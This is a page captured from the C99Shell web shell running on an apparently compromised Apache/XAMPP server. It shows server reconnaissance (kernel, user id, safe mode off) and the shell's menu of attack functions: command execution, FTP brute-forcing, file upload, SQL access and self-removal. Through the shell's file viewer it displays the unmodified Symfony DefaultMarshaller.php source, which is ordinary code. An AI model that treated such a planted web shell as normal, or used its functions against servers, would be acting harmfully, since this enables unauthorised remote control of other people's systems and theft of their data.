!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/symfony/cache/Marshaller/   drwxr-xr-x
Free 13.55 GB of 61.93 GB (21.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DefaultMarshaller.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Cache\Marshaller;

use 
Symfony\Component\Cache\Exception\CacheException;

/**
 * Serializes/unserializes values using igbinary_serialize() if available, serialize() otherwise.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class DefaultMarshaller implements MarshallerInterface
{
    private 
$useIgbinarySerialize true;
    private 
$throwOnSerializationFailure;

    public function 
__construct(bool $useIgbinarySerialize nullbool $throwOnSerializationFailure false)
    {
        if (
null === $useIgbinarySerialize) {
            
$useIgbinarySerialize = \extension_loaded('igbinary') && (\PHP_VERSION_ID 70400 || version_compare('3.1.6'phpversion('igbinary'), '<='));
        } elseif (
$useIgbinarySerialize && (!\extension_loaded('igbinary') || (\PHP_VERSION_ID >= 70400 && version_compare('3.1.6'phpversion('igbinary'), '>')))) {
            throw new 
CacheException(\extension_loaded('igbinary') && \PHP_VERSION_ID >= 70400 'Please upgrade the "igbinary" PHP extension to v3.1.6 or higher.' 'The "igbinary" PHP extension is not loaded.');
        }
        
$this->useIgbinarySerialize $useIgbinarySerialize;
        
$this->throwOnSerializationFailure $throwOnSerializationFailure;
    }

    
/**
     * {@inheritdoc}
     */
    
public function marshall(array $values, ?array &$failed): array
    {
        
$serialized $failed = [];

        foreach (
$values as $id => $value) {
            try {
                if (
$this->useIgbinarySerialize) {
                    
$serialized[$id] = igbinary_serialize($value);
                } else {
                    
$serialized[$id] = serialize($value);
                }
            } catch (\
Exception $e) {
                if (
$this->throwOnSerializationFailure) {
                    throw new \
ValueError($e->getMessage(), 0$e);
                }
                
$failed[] = $id;
            }
        }

        return 
$serialized;
    }

    
/**
     * {@inheritdoc}
     */
    
public function unmarshall(string $value)
    {
        if (
'b:0;' === $value) {
            return 
false;
        }
        if (
'N;' === $value) {
            return 
null;
        }
        static 
$igbinaryNull;
        if (
$value === ($igbinaryNull ?? $igbinaryNull = \extension_loaded('igbinary') ? igbinary_serialize(null) : false)) {
            return 
null;
        }
        
$unserializeCallbackHandler ini_set('unserialize_callback_func'__CLASS__.'::handleUnserializeCallback');
        try {
            if (
':' === ($value[1] ?? ':')) {
                if (
false !== $value unserialize($value)) {
                    return 
$value;
                }
            } elseif (
false === $igbinaryNull) {
                throw new \
RuntimeException('Failed to unserialize values, did you forget to install the "igbinary" extension?');
            } elseif (
null !== $value igbinary_unserialize($value)) {
                return 
$value;
            }

            throw new \
DomainException(error_get_last() ? error_get_last()['message'] : 'Failed to unserialize values.');
        } catch (\
Error $e) {
            throw new \
ErrorException($e->getMessage(), $e->getCode(), \E_ERROR$e->getFile(), $e->getLine());
        } finally {
            
ini_set('unserialize_callback_func'$unserializeCallbackHandler);
        }
    }

    
/**
     * @internal
     */
    
public static function handleUnserializeCallback(string $class)
    {
        throw new \
DomainException('Class not found: '.$class);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4887 ]--